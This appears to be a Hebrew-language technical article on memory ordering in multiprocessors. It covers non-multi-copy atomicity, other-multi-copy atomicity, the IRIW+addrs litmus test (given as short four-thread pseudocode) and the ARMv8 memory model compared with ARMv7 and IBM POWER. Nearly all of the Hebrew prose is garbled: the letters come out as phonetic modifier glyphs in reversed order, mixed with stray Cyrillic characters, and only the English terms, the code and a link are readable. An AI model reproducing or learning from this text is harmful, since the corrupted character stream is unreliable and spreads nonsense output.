ˢ˦ˣ˷˲ .˸˸˟-˸˩˶˰ˬ xʕ ,˪˩ ˶ˣ˸ ˯˥˧˧˸ˬ ˸ˣ˪ˣ˰˲˪ ˢ˟˧˸˩ ,˸ˣ˷˵˟ ˢ˞˧˶˵ ˧ˬˣ˯˥ˬˣ ˭ˣ˶˩˧ˤ ˫˧˶ˣ˷˵ˢ ˪-

thread ˫˧ˣ˯ˬ .˶˷˞˩ thread ˰˴˟ˬ ˢ˪ˣ˰˲ ˧ˢ˷˪˩ ,ˣˬ˩ ˢ˷˧ˠ ˭ˣ˶˩˧ˤ˪ x˞ ˸˪˰˲ˢ ˫ˣ˯˥ˬ ,ˢ˪ˣ˰˲ˢ ˸˯ˮ˩ˮ 

˷˞˶˪ ˶ˣ˸ˢ ˨˧ˣ˷ˬˢ ˣ˸ˣ˞˪ thread. 

˨˶ˣ˞˪ ˭ˬˤˢ ,˫˧˰ˣ˶˧˞ˢ ˫˧˞˴ˬˮˢ ˸˧˸˥˸˟ ˶ˣ˸ˢ ˫˧˪ˣ˩˧ ñ˫ˣ˶ˤ˪ò ˫˧˶ˣ˸˪ ˫˧˞˟ˢ ˢ˧˩˶˶˧ˢ˟ ,ˡ˰ ˫ˢ˷ 

˫˧˰˧ˠˬ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .ˢ˶˵ˬ˟ ˪˷ ˢ˟˧˸˩ ,˶˷˞˩ ˰ˣ˶˧˞ ˢ˟˧˸˩ ˰˧ˠˬ ˭ˣ˶˩˧ˤ˪ ,˞ˣˢ ˭˩ˡ˰ˬ ˸˞ ˸˲ˬ 

˭ˣ˶˩˧ˤˢ ,˞˧ˢ˷ ˢ˲ˬ ˪˷ ˧ˬˣ˵˧ˬ ˫˧˸˟ ˫˧ˠ˴˧˧ˬˢ ˸˞ ˸ˣ˟˧˸˩ ˭ˣ˶˩˧ˤˢ ˸ˣˮˣ˶˥˞ˢ ˣ˰˴ˣ˟˷ ˫˧ˬˣ˵˧ˬ˪ ˢ˪˞ .

˶ˣ˟˰ ˢ˞˧˶˵ ,˶˷˞˩ ˰ˣ˶˧˞ˢ ˰˧ˠˬ ˸˧˸˥˸˪ ˶ˣ˸ˢ ,˸˥˪˷ˮ ˸˟ˣˠ˸ ˢ˞˧˶˵ ˫˰ ˨˶˰ˢ ˭ˣ˶˩˧ˤˢˬ ˢ˶ˤ˥ ˪-

thread ˰˴˟ˬˢ ˸˞ ˢ˞˧˶˵ˢ .˫˧ˬˣ˯˥ˬ ˶ˣ˸˟ ˫˧˶˯ˣˬ ˶˷˞˩ ˫ˢ ˫˧˰˧ˠˬ ˟˪˷˪ ˧˲ˣ˯ˢ ˫ˢ˪˷. 

ˢ˶˵ˬ˟ ˪˷ ˢ˞˧˶˵ ,˭˩˸˧˧ ˞˪˷ ˢ˧ˢ˧ ˨˶ˣ˴ ˭˧˸ˬˢ˪ ˸ˬ˪˷ˢ˪ ˢ˟˧˸˩ˢ ˭ˣ˶˩˧ˤ˟ ˧˷˞˶ˢ .˫˞ ˶ˣ˸˟ ˷˧ ˰ˣ˶˧˞ 

ˢ˟˧˸˩ ˞˴ˬˮ˷ ˸ˣ˶˧˷˧ ˸˥˸ˬ ˰ˣ˶˧˞˪ ˢ˞˧˶˵ˢ ,˞ˣˢˣ ˯˥˧˧˸ˬ ˣ˸ˣ˞˪ ˫ˣ˵˧ˬ ˭ˣ˶˩˧ˤ˟ ,ˢ˞˧˶˵ˢ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ 

˸˵˲ˣ˯ˬ ˡ˧ˬ ˶ˣ˸ˢˬ ,˞˪ˣ ˸ˣ˩˥˪ ˢ˟˧˸˩˪ ˭ˣ˶˩˧ˤ˟ ˧˷˞˶ˢ. 

˫˧˶ˣ˸ˢ ˸˩˶˰ˬ˟ non-multi-copy atomicity ˫˧˶˷˲˞ˬ ˫ˠ ˸ˣ˷˧ˬˠ ˸ˬ˧ˣ˯ˬ ˶ˣˡ˧˯˟ ˷ˡ˥ˬ ˪˷ 

˫˧˰ˣ˶˧˞ˢ .˫˧˰ˣ˶˧˞ ˫˧˶ˣ˸˟ ˫˧˩ˣˬ˯ ,ˣ˪˧˲˞ ˫˞ ˫ˢ ˫˧˶ˣ˷˵ ˪-thread-˫˧ ˫˧ˮˣ˷ ,˫˧˧ˣ˷˰ ˱˧˪˥ˢ˪ ˸˞ ˶ˡ˯ˢ 

˫ˢ˧ˮ˧˟ ,˧˞ˮ˸˟ ˢˤ˷ ˞˪ ˶˲ˬ ˸˞ ˸ˣ˪˟ˠˬˢ ˪˷ ˶ˣˡ˧˯ ˫˧˰ˣ˶˧˞ˢ ˸˩˶˰ˬ˟. 

ˢˬ˶ˣ˲˦˪˲ ˢˮ˧˞˷ ˸˩ˬˣ˸ ˸ˣ˧ˬˣ˦˞˟ ˸˟ˣ˶ˬ ˫˧˵˸ˣ˰ ,ˢ˧ˣ˷˰ ˫ˣ˶ˠ˪ ˨˩˪ ˷-stores ˣ˰˧ˠ˧ ˪-thread-˫˧ 

˫˧ˮˣ˷ ˫˧ˮˬˤ˟ ˫˧ˮˣ˷. 
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 ˭˥˟ˬ˪ ˢˬˠˣˡIRIW  

˧ˡ˩ ˭˧˟ˢ˪ ˸˞ ˸ˬ˧˶ˤ ˫˧˰ˣ˶˧˞ˢ ˪ˡˣˬ˟ non-multi-copy atomicity ,˭˸˧ˮ ˪˩˸˯ˢ˪ ˪˰ ˭˥˟ˬ ˯ˣˬ˵˪ ˞˶˵ˮ˷ 

IRIW+addrs1: 

ˢ˶˰ˢ :ˡˣ˵ˢ ˞˟ˢ ˞ˣˢ ˧ˣˬˡ ˭˥˟ˬ ˯ˣˬ˵˪ ˭˞˩ˣ ˫˧ˮ˸˷ˬˢ x x-y ˫ˢ ˫˧ˮ˸˷ˬ ˫˧˪˞˟ˣ˪ˠ ˫˧˲˸ˣ˷ˬ ˭˧˟ ˪˩ s-

thread-˫˧ ,˫˧ˮ˸˷ˬˢˣ ˫˧˧ˬˣ˵ˬˢ r0 x-r1 ˫ˢ ˫˧˧˦˶˲ ˪˩˪ thread .˸ˣ˪ˣ˰˲ˢ WRITE x-READ ˭s ˸ˣ˪ˣ˰˲ 

store x-load ˢˬ˞˸ˢ˟ˣ ,˪˩ˣ ˸ˣ˧˴˵ˮˣ˲ˢ ˫˰ ˸ˬˣˡ˧˵ˢ thread ˸ˣ˴˶ ˧˟˵ˬ˟:˪ 

thread0 ()  
 {  
    WRITE(*x, 1);  
 }  
  
 thread1 ()  
 {  
    int r0;  
    int r1;  
 
    r0 = READ(*x);  
    r1 = READ(*y + (r0 ^ r0));  
}  
 
thread2 ()  
{  
    WRITE(*y, 1);  
}  
 
thread3 ()  
{  
    int r0;  
    int r1;  
 
    r0 = READ(*y);  
    r1 = READ(*x + (r0 ^ r0));  
}  

ˢ˶˰ˢ :˫˧˶ˬ˞ˬ˟  ˭ˣ˶˩˧ˤ ˧˪ˡˣˬ ˪˰ˣ ,˷ˡ˥ˬ ˶ˣˡ˧˯ ,˯ˣˬ˵˪ ˧ˮ˥˟ˬ ˪˰ ˡˬ˪ˮ ˣˮ˥ˮ˞ ˨˷ˬˢ˟˫˧˧˪ˬ˶ˣ˲ ˤ˞ .

.˭˞˩ ˢ˶ˣ˵˷ ˢˬ ˸˞ ˟ˣ˦ ˶˸ˣ˧ ˭˧˟ˢ˪ ˪˩ˣˮ 

 ˟˵˰ ˷˥˶˸ˢ˪ ˢ˪ˣ˩˧ ˸˧˟˵˰ ˞˪ ˢ˞˴ˣ˸ ˫ˢ˟˷ ˫˧˶˵ˬ ˷˧˥ˬˬ ˢˤ ˭˥˟ˬ˷ˡ˥ˬ ˶ˣˡ˧˯ ˷ ˫˧˰ˣ˶˧˞ ˪

 ˪ˡˣˬˢ ˧ˡ˧ ˪˰ ˸˶˷˲˞˸ˬ ˶˷˞ ,˫˧˶ˣ˸˟non-multi-copy atomicity. 

ˢ ,˶˞ˣ˸ˬˢ ˷˧˥˶˸˟-thread- ˫˧л x-н ) ˫˧ˮˣ˷ ˭ˣ˶˩˧ˤ ˧ˬˣ˵˧ˬ˪ ˸ˣ˟˧˸˩ ˫˧˰˴˟ˬx x-y ˶˥˞˪ˣ ,(ˢˬ˞˸ˢ˟ ,

ˢ ˭˩ˬ-thread- ˫˧м x-о  ,˶ˬˣ˪˩ .˨ˣ˲ˢ ˶ˡ˯˟ ˨˞ ,ˣ˪˪ˢ ˫˧ˬˣ˵˧ˬˢˬ ˫˧˞˶ˣ˵thread 1  ˸˞ ˢ˪˧˥˸ ˞˶ˣ˵x 

 ˶˥˞ˣ ˸˞ ˨˩y ˡˣ˰˟ ,thread 3  ˸˞ ˢ˪˧˥˸ ˞˶ˣ˵y  ˸˞ ˨˩ ˶˥˞ˣx ˪˩ ˶˷˞˩ ˸˷˥˶˸ˬ ˸ˮ˧˧ˮ˰ˬ ˢ˞˴ˣ˸ .

ˢˬ ˡ˥˞-thread- ˸˞ ˨˞ ,ˣ˧˪˞ ˷ˠ˧ˮ ˞ˣˢ˷ ˭ˣ˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ˟ ˷ˡ˥ˢ ˨˶˰ˢ ˸˞ ˢ˞ˣ˶ ˫˧˞˶ˣ˵ˢ ˫˧

.˧ˮ˷ˢ ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ˟ ˧˸˪˥˸ˢˢ ˨˶˰ˢ 

https://en.wikipedia.org/wiki/Memory_ordering
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 ˢˬ˧˶ˤˢ ˸˧˧ˠˣ˪ˣ˲ˣ˦ ˶ˣ˞˧˸ 

 

[figure02 Flowing topology Simplifying ARM Concurrency Multicopy-Atomic Axiomatic and Operational Models for ARMv8 from 

Simplifying ARM Concurrency: Multicopy-Atomic Axiomatic and Operational Models for ARMv8 (www.cl.cam.ac.uk)] 

 ˶˷˞˩thread- ˫˧л x-н ˟˧˸˩ˢ ˸˞ ˫˧˰˴˟ˬ) ˫ˢ˪˷ ˸ˣx=1 x-y=1 ˪˷ ˢ˟˧˸˩ˢ ,(thread 0 )x=1 ˢ˪ˣ˩˧ (

 ˶ˣ˸˪ ˶ˣ˟˰˪q01˪ ˱˸ˣ˷ˬˢ ˶ˣ˸ˢ ˞ˣˢ˷ ,-thread- ˫˧л x-м ˪˷ ˢ˟˧˸˩ˢ ,˪˧˟˵ˬ˟ .thread 2 )y=1 ˸˶˟ˣ˰ (

 ˶ˣ˸˪q23 ˪ ˱˸ˣ˷ˬˢ-thread- ˫˧н x-о. 

 ,˸˰˩thread 1  ˫ˣ˵˧ˬ˪ ˣ˪˷ ˢˮˣ˷˞˶ˢ ˢ˞˧˶˵ˢ ˸˞ ˰˴˟˪ ˪ˣ˩˧x ˢ˞˧˶˵ˢˣ ,ñ˸ˬ˶ˣˤ ò ˶ˣ˸˟q01 ˞˧ˢ˷ ˡ˰ ,

 ˢ˟˧˸˩ˢ ˸˞ ˸˷ˠˣ˲x=1 ˢ˧˧ˮ˷ˢ ˢ˞˧˶˵ˢ ˸˞ ˰˴˟ˬ ˞ˣˢ ,˭˩ˬ ˶˥˞˪ .˭˩ˡˣ˰ˬˢ ˨˶˰ˢ ˸˞ ˞˶˵˧ ˞ˣˢ˷ ˨˩ ,

 ˫ˣ˵˧ˬ˪ ˣ˪˷y ˢ˟˧˸˩ˢ ˫˰ ˷ˡ˥ˬ ˸˶ˡˣ˯ˬ ˞˧ˢ ˫˷ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˪˞ ˨˶ˡˢ ˪˩ ˸ˬ˶ˣˤ ˣˤˢ ˢ˞˧˶˵ˢˣ ,

x=1  ˪˷ ˢ˞˧˶˵ˢˣy  ˧˸˪˥˸ˢˢ ˨˶˰ˢ ˸˞ ˢ˶˧ˤ˥ˬy=0. 

 ,ˢˬˣˡ ˭˲ˣ˞˟thread 3 ˰˴˟ˬ  ˫ˣ˵˧ˬ˪ ˣ˪˷ ˢˮˣ˷˞˶ˢ ˢ˞˧˶˵ˢ ˸˞y ˶ˣ˸˟ ˸ˬ˶ˣˤ ˞˧ˢˣ ,q23  ˞˧ˢ˷ ˡ˰

 ˢ˟˧˸˩ˢ ˸˞ ˸˷ˠˣ˲y=1 ˢ˧˧ˮ˷ˢ ˢ˞˧˶˵ˢ ˸˞ ˰˴˟ˬ ˞ˣˢ ,˭˩ˬ ˶˥˞˪ .˭˩ˡˣ˰ˬˢ ˨˶˰ˢ ˸˞ ˞˶˵˧ ˞ˣˢ˷ ˨˩ ,

 ˫ˣ˵˧ˬ˪ ˣ˪˷x ˢ˟˧˸˩ˢ ˫˰ ˷ˡ˥ˬ ˸˶ˡˣ˯ˬ ,˭ˣ˶˩˧ˤˢ ˪˞ ˸ˬ˶ˣˤ ˞˧ˢˣ ,y=1 ˧˸˪˥˸ˢˢ ˨˶˰ˢ ˸˞ ˢ˶˧ˤ˥ˬˣ ,

x=0. 

 ˣˤˢ ˸ˣˠˢˮ˸ˢˢˢˬ ˵˪˥ ˧ˡ˧ ˪˰ ˸ˣ˞˶ˮ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧ ˸ˣ˟˧˸˩ ˡ˴˧˩ ˢ˞˶ˬ-thread- ˪˰ ˸ˣ˞˶ˮ ˭ˢ˷ ˧ˮ˲˪ ˫˧

ˢ ˭˧˟ ˸ˣˮˣ˷ ˸ˣ˞˴ˣ˸˪ ˪˧˟ˣˬ˷ ˢˬ ,˫˪ˣ˩ ˧ˡ˧-thread-.˫˧˞˶ˣ˵ˢ ˫˧ 

 ˪ˡˣˬˢ ,˧˪˪˩ ˭˲ˣ˞˟non-multi-copy atomicity :˸ˣ˧˶˵˧˰ ˢ˶ˬˣ˥ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˧˸˷ ˶˷˲˞ˬ 

мΦ  ˪˷ ˫ˣ˧˵buffer ˢ ˧ˮ˲˪ ˱˸ˣ˷ˬ-cacheˣˢˤ : buffer ˢ ˧ˮ˲˪ ˞˴ˬˮ˷-cache ˫˧ˮˣ˸ˮ ˸˶˟˰ˢ ˶˷˲˞ˬˢ ,

˸˸ ˭˧˟ ˸ˬˡ˵ˣˬ- ˪˷ ˢ˴ˣ˟˵thread- ˭˧˟ ˶˸ˣ˧ ˢ˶˧ˢˬ ˢ˶ˣ˴˟ ˫ˣ˶ˤ˪ ˫˧˪ˣ˩˧ ˫˧ˮˣ˸ˮˢ ,˨˩˟ .˸˩˶˰ˬ˟ ˫˧

thread-˪ ˣ˞ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˫˧˰˧ˠˬ ˫ˢ˷ ˧ˮ˲˪ ˫˧ˬ˧ˣ˯ˬ ˫˧-cache-.˫˧˶˥˞ˢ ˫˧ 
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нΦ  ˪˷ ˫ˣ˧˵snoop invalidation ˧˪˷ ˶˷˲˞ˬ˷ ˭ˣˮˠˮˬ :˶˧ˢˬ ˸˷˵˟ ˸˥invalidation ˪-cache- ˫˧

 ˸˶˷˲˞˸ˬ ˨˩ .˫ˢˬ ˞˪ˬ ˶ˣ˷˧˞˪ ˭˧˸ˬˢ˪ ˧˪˟ˬ ,˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˫˧˲˸˸˷ˬ˷ ˫˧˶˥˞ˢ

.˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸˩˶˰ˬ˟ ˶˸ˣ˧ ˢ˶˧ˢˬ ˢ˪ˣ˰˲ 

 ˪ˡˣˬOther-multi-copy atomic  

ˢ ˪˩ ,ˢ˞˪ˬ ˫˧˵˸ˣ˰ ˸˟ˣ˶ˬ ˸ˣ˧ˬˣ˦˞˟ ˸˩ˬˣ˸ˢ ˢˬ˶ˣ˲˦˪˲˟-thread- ˫˧˩˯ˢ˪ ˫˧˥˦ˣ˟ˬ ˢ˟ ˫˧˪˧˰˲ˢ ˫˧

ˢ ˶ˡ˯ ˪˰-storesˢ ˪˩ ,˶ˬˣ˪˩ .˫˧ˮˣ˷ ˭ˣ˶˩˧ˤ ˧ˬˣ˵˧ˬ˟ ˶˟ˣˡˬ ˶˷˞˩ ˫ˠ ,-stores ˢ ˪˩ ˧ˡ˧ ˪˰ ˣ˷˰ˮ˷-

thread-ˢ ˪˩ ˧ˡ˧ ˪˰ ˶ˡ˯ ˣ˸ˣ˞˟ ˫˧˲˴ˮ ˫˧-thread-.˸˩˶˰ˬ˟ ˫˧ 

 ˶˸ˣ˧ ˢ˷˪˥ ˢ˯˶ˠ ˫˧˵˲˯ˬ ˢ˷˰ˬ˪ ˫˧˵˸ˣ˰ ˸˟ˣ˶ˬ ˸ˣ˧ˬˣ˦˞ ˫˧˵˲˯ˬˢ ˫˧ˡ˟˰ˬˢ ˧˵˲˯ ˟ˣ˶ ,˸˞ˤ ˸ˬˣ˰˪

 ˢˮˣ˩ˬˢother-multi-copy atomicityˢ ˪˩ ˶ˡ˯ ˪˰ ˣˬ˧˩˯˧ ˫˧ˡ˟˰ˬˢ ˪˩˷ ˢ˷˧˶ˡ ˭˧˞ ,ˣˤ ˢ˯˶ˠ˟ .-stores .

˸˸ ˵˶ ,˸˞ˤ ˫ˣ˵ˬ˟-ˢ ˸˞ ˫˧˵˲˯ˬˢ ˫˧ˡ˟˰ˬˢ ˪˷ ˢ˴ˣ˟˵-stores ˡ˯ ˪˰ ˫˧˩˯˸.ˢˤ ˶ 

 ˫˷ˢñ˶˥˞) òother˟ (-other-multi-copy atomicity  ˸˞ ˸ˣ˞˶˪ ˶˸ˣˬ ˣˬ˴˰ ˡ˟˰ˬ˪˷ ˢˡ˟ˣ˰ˢ ˸˞ ˶˞˸ˬ

-sstore ˪ ˶˷˲˞ˬ˷ ˢˬ ,˶˸ˣ˧ ˫ˡ˵ˣˬ ˣ˪˷-loads  ˨˩˟ˣ ˟˸˩ ˞ˣˢ˷ ˷ˡ˥ˢ ˨˶˰ˢ ˸˞ ˪˟˵˪ ˣ˪˷ ˫˧˶˥ˣ˞ˬˢ

.˫˧˰ˣ˴˧˟ˢ ˸˞ ˶˲˷˪ 

 ˪ˡˣˬ˟Other-multi-copy atomic ˡ˟˰ˬ ˧ˡ˧ ˪˰ ˸˧˷˰ˮ˷ ˢ˟˧˸˩ˢ , ˫˧ˡ˟˰ˬˢ ˪˩˪ ˢ˧ˣ˪ˠ ˸ˣ˧ˢ˪ ˸˟˧˧˥

 ˡ˟˰ˬ ˪˩ ,˶ˬˣ˪˩ .˶˥˞ ˡ˟˰ˬ ˧ˡ˧ ˪˰ ˢ˸˲˴ˮ ˞˧ˢ ˫˞ ,˧˦ˮ˶ˢˣ˵ ˭˲ˣ˞˟ ˢˤ ˫ˣ˵˧ˬ˪ ˫˧˷ˠ˧ˮ˷ ˫˧˶˥˞ˢ

 ˸˞ ˸ˣ˞˶˪ ˪ˣ˩˧ ˡ˟˰ˬ˷ ˭˧˧˴˪ ˷˧ ˨˞ .˶˥˞ ˡ˟˰ˬ ˧ˡ˧ ˪˰ ˸˧˞˶ˮ ˞˧ˢ ˫˞ ˢ˟˧˸˩ˢ ˸˞ ˸ˣ˞˶˪ ˨˧˶˴ ˸˩˶˰ˬ˟

.˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧˲ˣ˴˪ ˸ˣ˲˷˥ˮ ˭ˢ˷ ˧ˮ˲˪ ˣ˪˷ ˸ˣ˟˧˸˩ˢ 

˲˟˩ ˶˞ˣ˸ˬˢ ˭ˣ˶˩˧ˤ ˪ˡˣˬ ,˪˰ˣ-Other-multi-copy atomic ˪˧˰˲ˢ˪ ˫˧ˡ˟˰ˬ˪ ˶˷˲˞ˬ ,store buffers 

ˢ .˸˩˶˰ˬ˟ ˫˧˶˥˞ˢ ˫˧ˡ˟˰ˬˢ ˫˰ ˫˧˧˦ˮ˶ˢˣ˵ ˫ˮ˧˞˷ ˫˧˧ˬˣ˵ˬ-store buffers  ˭˟ˣˬ˟ ˵˶ ˫˧˵ˡ˟ˮ ˢ˪˞ˢ

˫˧ˡ˟˰ˬˣ ,˸˩˶˰ˬ˟ ˫˧ˡ˟˰ˬˢ ˶˸˧ ˪ˣˬ ˢ˞˪ˬ ˸ˣ˲˧˵˷˟ ˥˶˩ˢ˟ ˞˪ˣ ,˸ˣ˪ˣ˰˲ ˭˧˟ ˸ˣ˪˸ ˶ˣ˟˰ ˧ˬˣ˵ˬˢ 

ˢˬ ˸ˣ˶˧˷˧ ˞ˣ˶˵˪ ˫˧˪ˣ˩˧ ˢ˟˧˸˩ ˫˧˰˴˟ˬ˷-store bufferˣ ,˪ ˶ˣ˸˟ ˰ˣˡ˧) ˣ˟˸˩ ˫ˢ˷ ˷ˡ˥ˢ ˨˶˰ˢ ˸˞ ˪˟˵

forward.( 

 ˪ˡˣˬˢOther-multi-copy-atomicity  ˪˷ ˡˣ˰˧˸˟ ˶ˡˠˣˬArm  ˢ˟˧˸˩ ˪˩ ˢ˟˷ ˸˩˶˰ˬ˟ :˞˟ˢ ˭˲ˣ˞˟

 ˣ˞ ˡ˟˰ˬ ˣˬ˩) ˡ˥˞ ˢ˲ˣ˴ ˧ˡ˧ ˪˰ ˢ˸˲˴ˮ˷thread ˶˞˷ ˪˩˪ ˸˧˞˶ˮ ˸ˣ˧ˢ˪ ˢ˩˧˶˴ ,( ˣ˸ˣ˞˪ ˫˧˷ˠ˧ˮ˷ ˫˧˲ˣ˴ˢ

 ˪˩˪ ˶˸ˣˬ ,˸˞ˤ ˫˰ .˧˦ˮ˶ˢˣ˵ ˭˲ˣ˞˟ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬthread  ˭ˢ˷ ˧ˮ˲˪ ˣˬ˴˰ ˣ˪˷ ˸ˣ˟˧˸˩ˢ ˸˞ ˸ˣ˞˶˪

ˢ ˶˞˷˪ ˸ˣ˧ˣ˪ˠ˪ ˸ˣ˩˲ˣˢ-thread-.˸˩˶˰ˬ˟ ˫˧ 

˟ ˫˧˵˸ˣ˰ ˸˟ˣ˶ˬ ˸ˣ˧ˬˣ˦˞-Arm  

 ˸˶ˣ˦˵˦˧˩˶˞ ˪˷ ˧˶ˣ˵ˬˢ ˪ˡˣˬ˟ARM.˫˧˵˸ˣ˰ ˸˟ˣ˶ˬ ˸˧ˬˣ˦˞ ˢ˸˧˧ˢ ˞˪ ˸˩˶˰ˬˢ ,  ˸ˣˠˢˮ˸ˢ ,˸˞ˤ ˫˰

 ˞˪ ˸ˣ˰˧˴ˬ ˢ˪˞˩ ˫˧˰ˣ˴˧˟˷ ˸ˣ˧˪˞˧˴ˮ˦ˣ˲ˢ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ˢ˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ .˪˰ˣ˲˟ ˶ˣ˴˧˧˟ ˢˬ˷ˣ˧ ˞˪ ˣˤ
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 ˶ˣ˟˰ ˫˧˧˸ˣ˰ˬ˷ˬ ˸ˣˮˣ˶˸˧ ˣ˵˲˧˯ARM ˪˷ ˸ˣ˶˥˞ ˸ˣˮˣ˩˸ ˫˰ ˟ˣ˪˧˷˟ ˫˧˟˩˶ˣˬ ˫˧˩ˣ˟˧˯˪ ˣˬ˶ˠ ˭ˢˣ ,

ARMv8. 

 ˸˶ˣ˦˵˦˧˩˶˞ ,˨˩ˬ ˢ˞˴ˣ˸˩ARMv8  ˞ˣˢ ˢ˪˷ ˧˥˩ˣˮˢ ˪ˡˣˬˢˣ ,˧ˣˮ˧˷ ˢ˶˟˰Other-multi-copy-atomicity .

˪ ˢ˧ˣ˪ˠ ˸˩˲ˣˢ ˢ˟˧˸˩ ˶˷˞˩˷ ,˞˧ˢ ˸ˣ˰ˬ˷ˬˢ-thread ˢ ˪˩˪ ˢ˧ˣ˪ˠ ˢ˧ˢ˸ ˞˧ˢ ,ˡ˥˞-thread- ˫˧˶˥˞ˢ ˫˧

 ˸ˣ˪˸ ˪˷ ˶˸ˣ˧ ˸ˣ˶ˣ˶˟ ˸ˣ˶ˡˠˢ ˪˪ˣ˩ ,ˢ˶ˣ˦˵˦˧˩˶˞˟ ˫˧˲˯ˣˮ ˫˧˦˟˧ˢ ˫ˠ ˦˷˧˲ ˢˤ ˪ˡˣˬ˟ ˧ˣˮ˧˷ˢ .˸˩˶˰ˬ˟

ˣ ,˸ˣ˪ˣ˰˲ ˭˧˟.˸ˣ˧˪˧˟˵ˬ ˪ˣˢ˧ˮ˪ ˧ˬ˷˶ ˪ˡˣˬ ˸˪˪ˣ˩ ˸˰˩ ˢ˶ˣ˦˵˦˧˩˶˞ˢ 

 ˪˷ ˸ˣ˞˯˶ˠ˟ARMv7 x-ARMv8  ˵˪˥˪ ˢ˧ˣ˪ˠ ˨ˣ˲ˢ˪ ˢ˪ˣ˩˧ ˢ˟˧˸˩ ˧˩ ˶ˬ˞ˮ ˫˧˧ˬ˷˶ˢ ˫˧˩˧˶ˡˬ˟ ,˸ˣˮ˷˧

ˢˬ-thread- ˸˶ˣ˦˵˦˧˩˶˞˪ ˢˬˣˡ ˢ˸˧˧ˢ˷ ˢˮˣ˩˸ ,˫˪ˣ˩˪ ˢ˧ˣ˪ˠ ˢ˧ˢ˸˷ ˧ˮ˲˪ ˫˧IBM POWER ˶˷˵ˢ˟ ˨˞ .

 ˪˷ARM˪ˡˣˬ ˪˷ ˫˧˧˰ˣ˴˧˟ˢ ˸ˣˮˣ˶˸˧ˢ , non-multi-copy atomicity  ˸˲˯ˣˮˢ ˸ˣ˟˩˶ˣˬˢ ˸˞ ˣ˵˧ˡ˴ˢ ˞˪

.˫ˣ˷˧˧ˢˣ ˢ˵˧ˠˣ˪ˢ ˸ˣˬ˧˞˟ ˡ˥ˣ˧ˬ˟ ,˫˸˧˞ ˣ˰˧ˠˢ˷ 

 ˸ˣˠˢˮ˸ˢ ˶˷˲˞˪ ˸ˣ˶˷˲˞ˢnon-multi-copy atomicity  ˶˵˧˰˟ ,˭ˣ˶˩˧ˤˢ ˪ˡˣˬ˟ ˢ˪ˣˡˠ ˸ˣ˟˩˶ˣˬ˪ ˢˬ˶ˠ

ˢ ˸ˣ˞˶ˣˢˢ ˫˰ˣ ˧ˮˣ˦˵˦˧˩˶˞ ˫ˣ˷˧˧˟ ˷˲ˣ˥ ˵˧ˮ˰ˢ˪ ˭ˣ˴˶ˢ ˫˰ ˸˞ˤ ˟˪˷˪ ˫˧˯ˮˬ˷˩˟ ˣ˲˯ˣˮ˷ ˸ˣ˷ˡ˥-

ARMv8 ˣˬ˩ ,store-release x-load-acquire ˟ ˦˶˲ˣˬ ˶˟˯ˢ ˣ˪˟˵˧ ˫ˢ ˫ˠ˷)ˬ ,˨˩ˬ ˢ˞˴ˣ˸˩ .(˶˥˞ ˶ˬ˞

ARM  ˪˷ ˦˶˲ˬˢ ˸˞ ˣˮ˩ˡ˰ARMv8. 

 ˪˷ ˭˩ˡˣ˰ˬˢ ˦˶˲ˬˢ ,˱˯ˣˮ˟ARMv8 ˸ˣ˧ˣˠˢˮ˸ˢ ˧ˠˣ˯ ˣ˪˧˞ ˶ˣ˶˧˟˟ ˦˶˲ˬ˷ ˧ˬ˷˶ ˭ˣ˶˩˧ˤ ˪ˡˣˬ ˸˰˩ ˪˪ˣ˩ ,

 ˪ˡˣˬˢˣ ,˸ˣ˶ˣ˯˞ ˣ˪˧˞ˣ ˸ˣ˶˸ˣˬ ˫ˠ ˫˧˪˪ˣ˩ ˣ˪˪ˢ ˫˧˧ˣˮ˧˷ˢ .ˢ˟ˣ˸˩ ˸˧˶ˣ˞˧˸ ˢ˯˶ˠ˟ ˢˣˣ˪ˬ ˧˪ˬ˶ˣ˲ˢ

.ˢ˶ˣ˦˵˦˧˩˶˞˪ ˸ˣ˲˧˵˷ˣ ˸ˣ˦˷˲ ˪˷ ˢˡ˧ˬ ˡˣ˰ ˱˧˯ˣˬ˷ ˢˬ ,˸ˣ˞˶ˣˢ ˭˧˟ ˸ˣ˪˸˪ ˰ˠˣˮ˟ ˸ˣ˶ˢ˟ˢ 

 ˸˶ˣ˦˵˦˧˩˶˞˟ ,˫˧ˬ˧ˣ˯ˬ ˫˧˟˴ˬ˟ ˸ˣ˪˧˰˧ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧ ˣ˪˪ˢ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ˢ˷ ˸ˣ˶ˬ˪ARM  ˣ˰˧ˠˢ

˭ˣ˶˸˧ ˸ˣ˵˲˯ˬ ˞˪ ˭ˢ˷ ˸˧ˬ˧ˮ˲ ˢˮ˵˯ˬ˪ ˢ ˸˶ˣ˦˵˦˧˩˶˞˷ ˞˧ˢ ˨˩˪ ˸ˣ˟˧˯ˢ ˸˥˞ .˧˸ˣ˰ˬ˷ˬ-buses  ˪˷

ARM ˪ˣ˵ˣ˦ˣ˶˲ ˪˰ ˸˯˯˟˸ˬ ,AMBA˟ ˨ˬˣ˸˷ ,-multi-copy atomicity ˷˧ ˣˤ ˢ˶ˣ˦˵˦˧˩˶˞˟ ,˶ˬˣ˪˩ .

 ˸ˣ˵˲˯ˬ˷ ˸ˣ˟˩˶ˣˬ ˸ˣ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˭˸ˣ˞˟ ˨˶ˣ˴ ˭˧˞ˣ ,˭ˣ˶˩˧ˤ ˸ˣ˟˧˸˩ ˪ˣˢ˧ˮ˪ ˶˸ˣ˧ ˢ˶ˣ˶˟ˣ ˢˡ˧˥˞ ˢ˷˧ˠnon-

